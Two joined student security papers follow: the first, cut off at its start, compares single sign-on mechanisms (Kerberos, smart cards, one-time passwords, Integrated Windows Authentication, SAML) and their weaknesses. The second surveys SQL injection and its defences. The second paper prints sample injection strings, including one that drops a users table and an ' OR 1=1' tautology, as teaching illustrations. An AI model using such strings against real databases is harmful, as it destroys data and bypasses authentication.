involves Bob and Alice.

6. The TGT returns a ticket that includes the specific service
requested and a new session key which can be used when Alice
want to communicate with Bob.

7. Alice sends the Ticket and her Authenticator for this Ticket to
Bob

8. Bob decrypts the tickets and extracts the session key for the
session with Alice. This session key can be used to decrypt the
authenticator received from Alice.



The Kerberos protocol ends at this moment, Alice and Bob can
use a randomly generated session key to encrypt further
transmission for the service. Each service needs to have its own
session key.

3.1.3 The weakness of Kerberos
In particular, Kerberos is not able to effectively against password
guessing attacks. For instance, if a user chooses a poor password,
then an attacker is able to guess the password and further spoof
the user. Also, Kerberos request a trusted point from where
password is entered. For instance, if a user enters a password to a
program which has already been modified by an attacker such as a
Trojan horse, or if the path between the user and the initial
authentication program has already been monitored, then an
attacker can still obtain enough critical information to do spoofing.

3.2 Smart card based Single sign-on
The main advantage of Smart card based single sign-on is that
credentials such as certificates or passwords can be stored on the
smart card. The initial sign-on process asks user's credentials and
store them on the smart card, it does not require the user to re-
enter the credentials again for other related applications which
also using the same smart card.

3.2.1 Why smart card based
The Kerberos based mechanism is a kind of ideal case that all
systems are using the same digital certificate that store users'
identification. However, in reality, there are still a lot of systems
using different digital certificates. There are plenty of applications
rely on different username and password pairs. For instance, in
NUS, students have their own net ids, school emails and faculty
accounts for each individual faculty. Although all the accounts are
inter-related, students are still required to sign-on multiple times
for accessing different applications.

Smart cards based mechanism is a way to help this. Imagine there
is a system that stores all these usernames and passwords on
students' matriculation card. Every time when there is a student
prompted for sign-on, it first is trying to recognize the application
that the student want to access, and then it automatically provides
the required credentials. The portability of smart cards makes this
scenario become true since the matric card stores the credentials
makes life easier for students at campus, at the home PC or at any
other machine. Moreover, a student could configure some of the
running systems to give a random generated password. This also
provides security benefits to the guests who come and visit NUS
if they are given a card, which lets them access different
applications without even knowing their account passwords. Once
they leave the campus, all administrator need to do is just disable
their card.

3.2.2 How smart card works
The following illustration is the standard client-server handshake
example to see how Smart card based Authentication works:

Figure 4. Client-server diagram for Smart card authentication.
1. Server is waiting for the smart card to be inserted
2. User inserts the smart card
3. Server gives an challenge prompting for certificates such as
PIN
4. User responses a certificate
5. Server verifies the certificates provided by user and maps the
certificates to the user's credentials
6. If it is valid, then server recognizes this user as a valid user who
is allowed to access the applications

3.2.3 Applications of smart card based
authentication
The first application which may use smart card is web accessing.
Smart cards are used to authenticate users to certain confidential
web sites whichever internal or external. If there is a policy server,
based on users' privileges, they can be managed to gain access
different sections of the site.
Document signing and encrypting is another useful application of
smart cards. The use of smart card is not initially designed for
these purposes, but it is able to perform these operations in a more
secure and practical way. For instance, imagine a user want to
encrypt and sign a document which requires a digital certificate.
This certificate might be stored on the user's PC's hard disk under
common situation. However, if this certificate is stored on the
smart card, one important benefit will be that a digital signing has
a factor called 'non-repudiation' meaning that the document a user
signed is not able to be denied during a certain period. Another
benefit is that a user is able to encrypt and sign documents such as
emails at anywhere since the smart card is portable.

3.2.4 Weakness of smart card based
authentication
Smart cards are regarded as a kind of computing devices which
are able to securely store and process data. However, if an
attacker has the knowledge of the smart card hardware and
software, the attacker may be able to probe for information from
the smart card. For instance, imagine that if an attacker has a
common household electron microscope, a focused ion beam tool
and various other fancy equipments. This attacker is able to
expose chip using chemical or laser cutting, to reconnect the fuse
using deposition or tiny probes, and to read the memory using the
serial port. Moreover, if the attacker has microprobes, he is able to
expose internal wiring of the card and construct landing pads for



probes, or even to observe internal buses and eventually know
every thing about the system.

Another issue is that the person who are holding the smart card is
supposed to take the responsibility of that card. As the illustration
above, for an attacker performing above attacks, the first
requirement is the possession of the card

3.3 One Time Password (OTP) based
The main advantage of One-Time Password(OTP) based single
sign-on is that it provides an extra layer of security which is able
to prevent an attacker obtaining the victim user's account with
password and gain access to sensitive resources. A typical OTP is
automatically generated by a random generator, and the password
will be renewed for every short period. Any pair of
account/password combination is not allowed to be used a second
time.

3.3.1 Why OTP
Nowadays, most of enterprise networks, e-commerce web sites
and other online communities require only a static pair of user
name and password for sign-on and access to sensitive resources.
This authentication mechanism is considered as convenient for not
only users but also administrators, but a static password is not that
secure in a sense that it is crack-able by a malicious action such as
key logging, man-in-the-middle, phishing and/or other methods.

A typical static password is only changed whenever necessary:
either when a user has forgotten the password or when the
password is expired, for instance, based on NUS password policy,
the password is supposed to be expired every semester. Moreover,
for convenience purpose, most of users do store the password in
the cache either on local host or on remote server. This action is
also convenient for an attacker because the attack knows exactly
where to look for password.

In contrast to static password, each time when a user sign-on, a
new one-time password is generated for the user, and only the
new pair of account-password combination is valid for accessing
resources. The password will be expired after the user log out
meaning that the password stores no where else to let an attacker
obtain it or even an attacker is able to obtain the password, it
cannot be used second time.

3.3.2 How OTP works
An one-time password can be generated in several ways, for
instance, time-synchronized OTPs, Counter-synchronized OTPs
or Challenge-based OTPs. Each one has their own advantages in
terms of security and convenience. These approaches often use a
hardware device such as Smart card which is synchronized with a
server to generate passwords by certain algorithm.

A typical time-synchronized OTP requires a user sign-on with the
password generated within a certain period of time, otherwise, this
password will be considered as expired and the device has to
generate another password from the server in order to let user
sign-on. This approach will be affected by clock skew. If the user
token and the server do not keep the same time, there will be
expected OTP value can be produced meaning that the sign-on
process will fail.

A counter-synchronized OTP is similar to time-synchronized
OTP. The user still has to sign-on within certain period using
generated password, but the valid period of time is determined by

the counter when the OTP value is generated instead of the
synchronized time between server and client.

A challenge-based OTPs requires a user to provide a known value
such as a PIN. To generate a password from a synchronization
parameter, the OTP are built on some kind of cryptographic
processing. This approach can co-operate with smart card based
authentication to provide an extra level of security. Based on the
storage capacity, portability and processing power of a smart card,
it is able to generate a unique and non-reusable password for
every authentication. Since the personal information or sensitive
data can be stored on the smart card, there is no private data
transmitting over network.

3.3.3 Weakness of OTP
Although OTP-based authentication can be considered as a secure
mechanism to achieve single sign-on process, it is still vulnerable
for a dedicated attacker who is able to break into a highly secured
environment. The reason is that the OTP solution remains on the
same hard device, such as a smart card for remote authentication
or a hard drive in a PC for local host online authentication,
meaning that the user has to do the authentication with that
particular device. If this device is already vulnerable to certain
malicious software, such as key-logger for PC or backdoor for
smart card, this device can still be tracked by an attacker when
the victim is trying to use the device to perform sign-on process.

Figure 5. Spoofing an OTP.
As a illustration, imagine there is a user who want to sign-on with
username and password or any other credentials, then the user
perform certain action such as click the button to start generating
the OTP. The OTP will appear either on the screen of a PC or
send an SMS to user's phone or email. If the page or the software
that the user using is already tracked by an attacker, when the user
entered the credentials at first place, these information has been
already sent to the attacker. When the user is trying to enter the
OTP, the attacker gets this OTP and spoof the server to pretend
the attacker himself as that user to perform sensitive operation or
access personal resources. Meanwhile, the user is not able to
connect and sign-on again since the account has already been
hijacked.

3.4 Integrated Windows Authentication(IWA)
Integrated Windows Authentication is a kind of authentication
mechanism that introduced by Microsoft. Users in Microsoft
Windows NT based operation systems(NT domain) is
authenticated by the IWA mechanism. The main advantage is that
this mechanism do not require users to provide their credentials in
multiple sign-on processes. If the user is valid, users who are
logged into Windows NT domain are automatically authenticated
and able to gain access those IWA enabled web applications.



3.4.1 Why IWA
In IWA authentication, it provides an easier and more secure way
for uses to sign-on to those web applications which store user
credentials in Windows Active Directory. Users' credentials such
as username and password are not going to be sent over the
network. Instead it authenticates users by using a hash function
plus a challenge response scheme. This approach makes the
authentication more secure in a sense that it is well against man-
in-the-middle types of attacks.

In general, users sign-on to a web application written in HTML or
PHP by providing users' credentials. This is a typical
authentication system called form-based authentication. However,
if the user want to access another web application, there is another
sign-on process required. To eliminate duplicated sign-on process,
Integrated Windows Authentication is a way that the user who is
already authenticated is not required for providing username and
password again. This mechanism is known as a browser-based
authentication meaning that the authentication process is handled
by the browser at client side. Once a user log in to Windows
operation system, the credentials of the user will be stored in
Active Directory. After the web browser is activated, it is able to
obtain these credentials from Active Directory, and use them to
authenticate the user by co-operating with server. Only
requirement for a user to perform above mechanism is just typing
the Protected web application's URL in the browser and wait for
the browser and server to process the authentication. Once the
credentials are valid meaning that the user is a n authorized user,
the user is automatically logged in. If the credentials are invalid,
the system will prompt the user for entering valid credentials in
order to log in to the system.

3.4.2 How IWA works
After a user log in to Windows and has already been authenticated
to Windows NT domain, there are six steps away to gain access to
the corresponding server

Figure 6. IWA client-server diagram.
1. The user sent a request for a web application by entering the
Protected web application URL.

2. The server will reject the request at this moment and sends back
a response which requires user to user NTLM in order to be
authenticated.

3. The client browser obtains the user's credentials from Active
Directory which is a place to store user credentials when user
logged into Windows, then the browser hash all the credentials
that the server required and sends them to the server.

4. After the hash received at server side, the server will search for
its own user store to identifies the user, then it sends back to the
client browser an unique and encrypted challenge.

5.The browser is able to decrypt this challenge by using the user's
password which has already been obtained from Active Directory.
After the browser decrypts the challenge, it sends back a response
to the server.

6. The server will check the correctness of the response for the
challenge that sent before. If it is correct, the server will start
providing the requested resources for the user; if it is incorrect, the
server will reject the request from the user and send back an
unauthorized warning message

3.4.3 Weakness of IWA
There are also several disadvantages by using Integrated Windows
Authentication. First, since IWA is introduced by Microsoft and
the Windows Active Directory is a must for the authentication,
both client and server must use Microsoft Windows NT based
operating system to perform IWA. Moreover, IWA can only be
used within intranet meaning that the clients have to be connected
to the NT domain only hosted by the server.

3.5 Security Assertion Markup Language
Security Assertion Markup Language(SAML) is an XML-based
standard for web browser single sign-on authentication. It allows
to exchange user authentication and authorization resources
among several secure web domains.

SAML is a product of the OASIS Security Services Technical
Committee and the standard has been around since 2002. "The
SAML specification defines three roles: the principal (typically a
user), the identity provider(IdP), and the service provider (SP)."
By using SAML, an online SP is able to contact a separate online
IdP to authenticate the principals who are trying to gain access to
the secure resources.

3.5.1 Why SAML
The main advantage of SAML is IT friendly since it centralizes
authentication among different SP and IdP. This mechanism
provides greater visibility and makes directory integration much
easier. SAML also provides a certain level of security based on
the strong digital certifications for authentication and integrity.
When the system is using SAML single sign-on authentication,
since there is only three roles involved and the user is not required
to enter a password for an application, the user is no way to be
attacked by a phishing web site. Moreover, based on resent cloud
technology, SAML-based applications are able to co-operate
perfectly with Microsoft Windows operating system. OneLogin's
Zero-Config Active Directory Connector is a Windows service
which allows user to sign-on applications with their own
Windows credentials stored in Active Directory.

3.5.2 How SAML works
In SAML model, the service provider(SP) provides services or
applications that the principal want to access. The identity
providers(IdPs) control all the credentials of principal such as
usernames, passwords or any other information used to perform
authentication. The IdPs use these credentials to identify,
authenticate and authorize the principal for accessing web
applications that the principal requested.
The following figure illustrates how a user sign-on an application
through a SAML-based Single sign-on service.



Figure 7. SAML transaction.
1. The user is trying to access a hosted application.
2. The service provider generates the SAML request which is
encoded and embedded into a URL for the identity provider's
single sign-on server.
3. The service provider sends back a redirect single sign-on URL
to the client browser. This redirect SSO URL contains the
encoded SAML authentication request which is supposed to be
sent to the identity provider's SSO service.
4. The client browser is redirected to the given redirect SSO URL.
5. The identity provider decodes the SAML request and extracts
the URL for Assertion Consumer Service and the user's
destination URL. Then the identity provider starts authenticating
the user. The authentication either asking the user for valid sign-
on credentials or checking for valid session cookies that stored in
client.
6. The identity provider generates a SAML response which is
digitally signed with both the identity provider's public and
private key. Then the identity provider encodes this SAML
response and sends back to the client browser. The identity
provider also a mechanism in order to make the client browser
access the Assertion Consumer Service where verifies SAML
response.
7. The Assertion Consumer Service at service provider side
verifies SAML response by using the identity provider's public. If
the response is valid, the service provider will redirect the user to
the destination URL that the user requested previously.
8. Now, the user is able to sign-on the required application
without providing any other credentials.

3.5.3 Weakness of SAML
The main problem of SAML it alone is that SAML does not
justify whether the identity provider is secure enough. SAML by
itself is not able to verify the quality of the identity provider such
as whether the identity provider's web server is hardened enough
or whether that identity provider is under certain industry
regulations. In general case, SAML makes an assumption that the
identity provider is secure however this assumption is not always
valid.
Another issue is that SAML does not standardize authentication
mechanisms. SAML only standardizes the assertion of identities
but not authentication. The organization which using SAML has
its own choice to decide which authentication mechanism it
should use such as normal username and password, time tokens,
one time password,etc. Hence if an organization chooses a
relatively weaken mechanism, SAML does nothing to help this
weakness.

4.CONCLUSION
In computer security, access control is a critical component that
enables an authority to prevent those sensitive resources away
from accessing by unauthorized user. Authentication is the first
and one of the most important process among all the access
control policies. Without a proper authentication, the server is
unable to identify whether a principal is valid and whether the
operation of the principal requested is allowed to be performed. A
typical traditional authentication mechanism is not able to work
properly under the environment which has Internet accessibility.
The reason is, in fact, malicious attackers who are monitoring and
intercepting the sensitive data are all over the Internet. Nowadays,
there is almost impossible to run a business without Internet so a
strong authentication mechanism which does not disclose
passwords is a necessity for most of the cases. Single sign-on is
able to provide an extra level of security if and only if the
underlying mechanism can perform better against all kinds of
attacks.

As the illustration of all five mechanism, by each mechanism
itself alone, all the mechanisms have certain vulnerabilities here
and there. However, if a combinational mechanism is used,
multiple authentication mechanisms co-operate together to reduce
each other's weakness, then the single sign-on which is using the
combinational authentication mechanism will provide less
vulnerabilities. As an additional example, DELL introduced a
mechanism called DELL Remote Access Controller 5 (DRAC5)
which uses Microsoft Active Directory to perform Kerberos based
Active Directory authentication to support smart card and single
sign-on. This approach reduces all the vulnerabilities of Kerberos
based mechanism though it causes another problem called time
out session injection pointed out in 2006 which an attacker can
execute server commands during a web session time out. This
time out session injection can be prevented by the latest
configuration of DRAC5 Firmware Version 1.40.
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ABSTRACT 

In this paper, we will explore both common and advanced ways of 

attacking web based software applications through SQL 

injections, and more critically, the techniques used to protect such 

applications against these sort of attacks.  

1. INTRODUCTION 
Historically, the main methods of would-be-attackers for causing 

applications to behave in ways which their authors might not have 

expected rested on the architecture of low level languages or 

operating systems. As languages such as C which many 

applications were programmed in back then basically gave the 

programmer arbitrary access to its allocated memory, many 

exploits such as buffer overflows could be used as an attack 

vector if the author was not careful. 

However, the creation of high level languages has rendered such 

attacks slightly less relevant. This is done by wrapping memory 

and instruction management and abstracting their usage from 

programmers, thereby automatically handling any possible 

unexpected behavior and ensuring that no critical breach in 

security can occur. Today, combined with the advent of Web 2.0, 

a new class of attacks have emerged. One of the most popular 

attack vectors that exist today is known as a SQL injection attack 

(SQLIA). It is used to attack data driven applications which 

include most web applications. 

2. BACKGROUND 

2.1 What Is an ‘Injection’ 
An ‘injection’ happens when an attacker sends simple text-based 

attacks that exploit the syntax of the targeted interpreter. Almost 

any source of data can be an injection attack vector. [1] Injection 

flaws allow attackers to relay malicious code through a web 

application to another system. These attacks include calls to the 

operating system via system calls, the use of external programs via 

shell commands, as well as calls to backend databases via SQL 

(i.e., SQL injection). Whole scripts written in perl, python, 

javascript and other languages can be injected into poorly 

designed web applications and executed. Any time a web 

application uses an interpreter of any type there is a danger of an 

injection attack. [2] 

2.2 Consequences of Injections 
SQL injections can lead to serious consequences. From a security 

perspective, many of the information security principles that 

servers should conform too are undermined. These are some of 

the consequences of SQL injections. 

Confidentiality: Since SQL databases generally hold sensitive 

data, loss of confidentiality can be happen with SQL injections. 

Authentication: If poor constructed SQL commands are used to 

validate usernames and passwords, it may be possible to bypass 

the authentication entirely without knowledge of a valid username 

password pair. 

Authorization: If authorization information is held in a SQL 

database, it may be possible to change this information through 

the successful exploitation of an SQL injection vulnerability. 

Integrity: It is also possible to make changes or delete 

information held in an SQL database using a SQL injection attack. 

Depending on the intent of the attacker, the following are some 

direct results of an SQL injection 

 Data loss or corruption  

 Denial of access  

 Complete host takeover  

 XSS attack  

In particular, SQL injections can lead to a web application being 

further compromised through an XSS attack. 

Most XSS attacks can be classified into 2 types: 

1. Non-persistent 

2. Persistent 

In the following section, we briefly discuss persistent XSS 

injections. 

2.2.1 XSS Attacks 
Cross-site scripting (XSS) is a security vulnerability that permits 

an attacker to inject unexpected client-side scripts into contents of 

the victim’s browser through a website. Victims who visit the 

infected web pages automatically execute the injected code in 

their web browsers. [3] 

Combined with an SQL injection, the attack is known as the 

persistent variety (as opposed to reflected sort where the 

malicious script is loaded in a innocent-looking URL and sent 

through say, an email), and can result in cookie theft, stealing of 

credentials or even worse, redirection of the user to a fake page 

masquerading as the original to perform just about any subsequent 

attack. 

 

Permission to make digital or hard copies of all or part of this work for 

personal or classroom use is granted without fee provided that copies are 

not made or distributed for profit or commercial advantage and that copies 

bear this notice. 
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A script that is stored persistently in a database is far more 

dangerous as users may be more trusting of websites as opposed 

to links on email, and the scripts are also usually automatically 

run by the browser. 

3. SQL Injection Attacks 

3.1 Types of Injection 

3.1.1 Injection through user input  
This is one of the most well known type of SQLIA. It involves 

inputting malicious data or scripts in a user input and making the 

server run the malicious script directly via a web page input. [4] 

3.1.1.1 Injection through cookies  
Cookies are files that contain state information generated by Web 

applications and are saved in the client machine. When a client 

returns to a Web application, cookies can be used to restore the 

client’s state information. Since the client has control over the 

storage of the cookie, a malicious client could tamper with the 

cookie’s contents. If a Web application uses the cookie’s contents 

to build SQL queries, an attacker could submit an attack by 

embedding it in the cookie. [5] 

3.1.2 Injection through server variables 
Server variables consists of HTTP headers and network headers. 

[14] Taken from msdn: “Server variables obtain most of their 

information from headers. It is wise to not trust the data that is 

contained in headers, as this information can be falsified by 

malicious users.” [6] 

3.1.2.1 Second-order injection 
Second order injections occur when the attacker knows that the 

input is going to be used in a later stage. [5] For example an 

attacker might input malicious code into an input. When the user 

input is retrieved, the malicious code will run, which will cause 

damage to the system or users of the system. 

3.2 Implementations 
The following are some ways in which the structure of the SQL 

language can be exploited to compromise a database. 

 Tautologies 

 Union Query 

 Stored Procedure 

 llegal/Logically Incorrect Queries 

 Piggy-backed Queries 

 Timing Attacks 

3.3 An Illustrative Example 
In this section, we will illustrate an actual example of an SQLIA 

using piggy-back queries. 

Here, an attacker inputs “’; drop table users - -” into the pass field, 

the application generates the query: 

SELECT accounts FROM users WHERE login=’doe’ AND 
pass=’’; drop table users -- ’ AND pin=123 

After completing the first query, the database would recognize the 

query delimiter and execute the injected second query instead. As 

a result, the table users drops, and this might cause potentially 

severe loss of valuable information. [7] 

4. SQLIA Prevention Techniques 
In this section, we will explore the various primary methods of 

prevention against exploitations of SQL injection vulnerabilities. 

4.1 Prepared Statements / Parameterized 

Queries 
Developers will first define all the SQL code, before passing in 

each parameter to the query later, allowing the database to 

recognise the distinction between code and data, regardless of 

user input. No matter who inputs the SQL commands, the core of 

this style prevents attackers from changing the intent of the query. 

SQL code will stay within the application, making the application 

relatively database independent. This method mirrors the idea of 

working with a compiled SQL template, customizable with 

variable parameters. Prepared statements largely offer two main 

advantages. 

Firstly, the query is only required to be prepared once. During this 

process, the plan for executing the query will be determined by 

the database through analysis, compilation, and optimization. The 

complexity of the queries will have a direct negative impact on the 

duration of this process. Hence, by using prepared statements , we 

are essentially using less resources to run the application faster by 

reducing the repetition of this three-step cycle. Despite parsing the 

query only once, it can still undergo several rounds of executions 

with same or different parameters. 

In addition, the parameters to the prepared statements are not 

required to be quoted. This will automatically be handled by the 

driver. It can be ensured that no SQL injection will occur, 

provided the application uses solely prepared statements. 

However, should other portions of the query contain unescaped 

input, the possibility of SQL injection remains. 

4.2 Stored Procedures 
On the other hand, using stored procedures derives both security 

and non-security advantages. When we are able to limit the 

database user accounts to have access to only the stored 

procedures, we gather greater confidence in preventing SQL 

injection vulnerabilities in the applications that access the 

database. By making exclusive use of stored procedures for the 

database, we are restricting permission for database accounts to 

submit dynamic queries to the database. However, we can also 

focus on, for example, performance benefit instead. Although this 

might come at the expense of security, we get to store our SQL 

code in one location, and have only the database developers to 

work with the code and maintain it. 

While prepared statements store the code in the application, stored 

procedures define and store the code in the database itself, before 

calling from the application. This is similar to user-defined 

functions in reusing code. For instance, instead of having to 

rewrite a certain query repeatedly, we can simply save it as a 

stored procedure for repeated calling instead. Stored procedure, 

thus, essentially consolidates and centralizes logic originally 

implemented in applications. Despite the similarity, stored 

procedures can and must be invoked with the CALL statement. 

This defense is typically used for data validation or access control 

mechanisms. 

Assuming no potentially harmful dynamic SQL generation has 

been included, we can see that both implementations of prepared 

statements and stored procedures effectively share the same effect. 
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Both defenses also aim at improving server-side efficiency by 

cutting down on the additional round-trip back to the server when 

executing a query. 

4.3 Sanitizing User Input 
User input can be made more secure if we escape all inputs using 

the proper escaping scheme for the particular database, as the 

syntax for escaping user input differs among databases. 

(http://www.marcofolio.net/features/how_you_can_prevent_an_sq

l_injection.html) This method will serve to prevent confusion on 

the database management system-side when distinguishing 

between user input and SQL code, thereby lowering the chance of 

executing SQL injection. It would be suitable for people with 

concerns regarding having adverse effects on their application or 

performance of it by revamping their code to either prepared 

statements or stored procedures as mentioned in the earlier 

sections. 

However, it should be noted that this technique is not the safest 

yet. Other than reasons such as cost effectiveness, escaping all 

user input ought to be used with much care. Especially for brand 

new applications built from scratch, or applications where low 

risk tolerance is a necessity, this method is certainly not the most 

ideal. Parameterized queries should be considered instead to 

provide higher level of security assurance against SQL injection 

vulnerabilities. 

One example of malicious inputs could be ' OR 1=1 --' where 

it would be encoded to \ \'\ OR\ 1\=1\ \-\-‘. While this 

method is not the most effective, it is still always better to have 

some form of prevention against damaging SQL injection. 

Unfortunately, validating HTML input is not as straightforward as 

it seems. For example, if a browser uses htmlspecialchars() to 

validate their html inputs, and a user intends to bold his characters 

(usually in forums), the reflected output would not be what the 

user intended (instead of &lt;b$gt; some text &lt;/b&gt;)[8]. 

HTML Purifier is an open-source HTML filtering library written 

in PHP. It removes malicious codes and at the same time, 

provides users with a whitelist. 

4.3.1.1 Automation 
There exist some software which can help to test for 

vulnerabilities to XSS attacks.  

Zaproxy is one such tool. The tool would crawl every HTML 

fields and try every variant of XSS which can be thought of. And 

when a XSS is found, it would alert the user. 

4.3.2 Content Security Policy 
CSP helps the browser to recognise which sources are trusted. 

The browser will then only execute scripts from the whitelist of 

sources. So, even if an attacker managed to inject the script, it is 

not under the whitelist and therefore would not be executed. [9] 

Content-Security-Policy: script-src ‘self’ 
https://apis.cs2107.net 

Another feature of CSP is that it also bans inline scripts, as well as 

inline event handlers and javascript URLs. Therefore, we need to 

write these scripts in an external file. 

 

 

Instead of this: 

index.html 

<script> 

 function badScript(){ 

  alert(‘This is unsafe’); 

} 

</script> 

<button onclick=’badScript();’>Check Script</button> 

 

We should use this: 

index.html 

<script src=’myScript.js’></script> 

<button id=’popup’>Check Script</button> 

myScript.js 

function goodScript(){ 

 alert(‘This is safe’); 

} 

document.getElementById(‘popup’).on(‘click’,function()
{ goodScript(); } ); 

4.4 Least Privilege 
The principle of least privilege aims at limiting access of an entity 

to the minimal level that will allow normal functioning [10]. This 

is as simple as giving a person just enough privileges to get things 

working. However, the entity may extend beyond people to 

computers or programs as well. 

In this current context of SQL injection attacks, we apply this 

principle by minimizing the privileges granted to each and every 

database accounts in one area. One way to approach this issue 

would be to work out the necessary privileges for each application 

accounts before assignment, rather than to assign all privileges 

followed by figuring out which to remove. For instance, database 

administrator (DBA) access rights should not be freely assigned to 

application accounts. Requiring some form of authentication 

reduces the risk of unwelcome and potential harmful access to 

database information. 

Assuming developers had limited the permissions of database 

login right from the start, an attacker who wishes to wipe out a 

database worth of records would carry no threat even if he had 

successfully login and submitted malicious commands using the 

application connected to the database. If the application had been 

allowed to perform commands within the database, attackers 

could effectively enter malicious code to manipulate the database 

and make it execute commands on behalf of the application. 

This suggests the urgent need for least privilege to be applied not 

only to users but also at the application level. Users, with 

sufficient intelligence and malice intentions, may still be able to 

attack a database through injection of instructions or SQL code, 

should the application been permitted unnecessarily damaging 

amount of access to the database. 
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4.5 Whitelist Input Validation 
Input validation and sanitization are the foremost ways of 

detecting unauthorised user input before the input string gets sent 

for processing by the application. 

In contrast to a blacklist, where denied or unauthorised identities 

are listed down, a whitelist in this context would contain the list 

of input that is authorized. In the process, this also defines the 

unauthorized. This usually works for data with well-structured 

nature, whereby it is easier for developers to come up with a 

strong validation pattern based on, for instance, regular 

expressions. Some examples include social security numbers, zip 

codes, dates and e-mail addresses. By offering the input to a 

selection based on either a drop-down list or radio buttons, we are 

effectively fixing the user input for comparison matching against a 

set of exact values instead. 

However, there are still ‘free text’ fields where user input can 

literally be anything and everything, and it is tough to validate 

these inputs as well. We could omit non-printable characters or 

define a maximum input size, but to come up with a fixed list for 

such an open-ended style of input is still of a certain level of 

difficulty. 

One might then question, why not simply a blacklist? Well, the 

simple yet immense flaw here lies in the ease of avoiding 

unauthorized input, while preventing authorised input at the same 

time. One classic example would be the omission of the ` 

character, perhaps in a name such as Bi`en. 

Despite its complexity, whitelist input validation is a strongly 

recommended prevention method against SQL injections. 

Prevention is always better than cure, and for database attacks, 

developers maintaining the databases might just be ready to agree 

with this. 

5. ADVANCED TECHNIQUES 
The above defences all have certain flaws to them, be it the 

complexity in implementing them, or the tediousness in ensuring 

its exhaustiveness. 

Researchers have came up with a range of advanced techniques to 

assist developers to compensate for the shortcomings in the 

application of defensive coding and mitigation techniques as 

described in the previous section. 

5.1 Testing 

5.1.1 Black box testing 
By mimicking external skilled attacks, we are able to detect 

security vulnerabilities and exploitation. There are tools which 

currently exists in the Internet which allows us to perform these 

automated tests.  

One way of black-box technique for detecting SQL injection 

vulnerabilities in Web-based applications is: 

1. Using a web crawler to locate every possible source of 

SQL injection. A web crawler is a bot that systematically searches 

a web page and performing designed tasks. 

2. The test will then perform an entire list of attacks on every 

sources that it retrieved from the web crawler. 

3. Some black-box testing tools are able to learn from the 

responses of the web-based application, and improve on its 

attacking algorithm. 

Open Web Application Security Project(OWASP) is a free and 

open software security community that has several black-box 

testing tools. 

Here are some of the tools available: 

 OWSAP WebScarab 

 OWSAP CAL9000 

 OWASP Pantera Web Assessment Studio Project 

 OWSAP Zed Attack Proxy Project 

However, one problem with black-box tests is that they are not 

exhaustive. [11] 

5.2 Static Analysis 
Using code checkers to statically check for the correctness of code 

when queries are written in the web application is a technique that 

should always be used. One such tool is JDBC-Checker which 

checks for possibly vulnerable implementations when writing 

SQL queries for a Java server using the Java DB Connectivity 

database connector [12]. As programmers may not always be 

familiar with the ins and outs of every possible exploit, this tools 

help to mitigate the possibility of vulnerabilities being introduced. 

Very often, the coder may not be an expert in SQL but rather is 

simply writing server software, making such tools extremely 

useful. 

5.3 Dynamic Prevention 

5.3.1 Dynamic Analysis 
There exist model-based architectures which does the code 

analysis both statically and dynamically. Basically, different 

models set different sets of privileges that each application, 

controller or page should have. This is the static part of the 

analysis. In the dynamic portion, a script is used to check the 

queries that are sent from the user, against the statically generated 

“secured” models. Queries that do not conform to the model’s 

rules will be rejected and thus prevented from executing on the 

database. [13] 

5.3.2 Taint Checking Analysis 
Taint checking is a blacklist approach which tracks variables that 

could be contaminated. When these variables are used in 

executing commands in the database, it warns the program that it 

is a potentially dangerous tainted variable. The program could 

then perform functions such as sensitive tests and filter dangerous 

variables or exit with an error message. [14] 

On limitation to this approach is that the filters are not exhaustive 

and the sensitive test might not be adequate enough. Also the 

source code of the entire application is used as the variable has to 

be tracked throughout and requires its full collaboration with 

external libraries. 

5.4 Machine Learning 
A proposed Intrusion Detection System (IDS) to prevent SQL 

Injection is based on a machine learning technique that is trained 

using a set of typical application queries. The technique builds 

models of the typical queries and then monitors the application at 
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runtime to identify queries that do not match the model. In the 

evaluation, it was shown that the system is able to detect attacks 

with a high rate of success. However, the fundamental limitation 

of learning based techniques is that they can provide no 

guarantees about their detection abilities because their success is 

dependent on the quality of the training set used. 

6. NEW PARADIGMS 
Recently, other approaches have been developed that changes 

how SQL queries are developed from the ground up.  

6.1 Query Encapsulation 
SQL DOM and Safe Query Objects, are two recent approaches 

which make use encapsulation of database queries to provide a 

safe and reliable way to access databases. 

These techniques offer an effective way to avoid the SQL 

Injection Attack problem by changing the query-building process 

from an unregulated one that uses string concatenation to a 

systematic one that uses a type-checked API. This works at the 

root cause of injections from a programming language perspective 

which is the serialized nature of SQL where both code and 

variables exist as part of the same string. With this wrapper, 

programmers are able to use their database like a statically typed 

language (such as C) and are, by design, protected against 

injections as inputs can never be mixed up with executable 

code/queries (as long as the programmer himself does not try too 

hard to break the wrapper’s intentions). 

Within their API, they are able to systematically apply coding best 

practices such as input filtering and rigorous type checking of user 

input. By changing the development paradigm in which SQL 

queries are created, these techniques eliminate the coding 

practices that make most SQL Injection Attacks possible. 

Although effective, these techniques have the drawback that they 

require developers to learn and use a new programming paradigm 

and query-development process. Furthermore, because they focus 

on using a new development process, they do not provide any 

type of protection or improved security for existing legacy 

systems. [15] 

6.2 Proxy-based Architecture 
Most solutions above require the programmer to define the query 

structure at each and every query point using PREPARE statements 

or by describing the attributes of every model. This requires a lot 

of engineering effort. Proxy-based solutions bypass that by 

extracting the application-generated query even after the user data 

has been already embedded into the query and validates them in 

the context of the query structure. The validator thus lies between 

the application and database, acting as a proxy between them. 

SQLProb and Security Gateway are examples of such 

implementations.  

Security Gateway uses the Security Policy Descriptor Language 

(SPDL) which allows programmers to provide constraints and 

specify transformations to be applied. Because SPDL is highly 

expressive, it allows developers considerable freedom in 

expressing their policies. This approach however also requires 

developers to know what data needs to be filtered, and what 

patterns need to be applied to the data. 

SQLProb on the other hand, uses a scoring matrix and a large 

sample set of valid queries to separate all possible types of user 

inputs. By comparing the parse tree against the samples, it can 

evaluate if the user inputs are that of a malicious attack by 

comparing the leaf nodes against known query structures. [16] 

6.3 Instruction Set Randomization 
Instruction Set Randomization is another advanced technique for 

preventing SQLIA. One popular implementation is SQLrand. It 

provides a framework which allows developers to construct 

queries using randomized instructions instead of normal SQL 

keywords. A proxy filter then intercepts queries to the database 

from the application and de-randomizes the keywords. SQL code 

injected by an attacker would not have been constructed using the 

randomized instruction set. Therefore, injected commands would 

of course result in a syntactically nonsensical query. 

While this technique can be very effective, it has several practical 

drawbacks. 

First, since it uses a secret key to modify instructions, the security 

of this approach is obviously dependent on attackers not being 

able to discover the key. This approach can possibly be 

compromised by brute force attacks.  

Secondly, this approach imposes a tremendous overhead because 

it needs to “decrypt” queries throughout the application and 

requires the integration of a proxy to the database too. 

Finally, extra effort has to be spent writing or rewriting queries 

using this randomized keyword set. [17] 

7. CONCLUSION 
We have explored various basic and advanced techniques of 

protecting web applications against SQL Injection Attacks. 

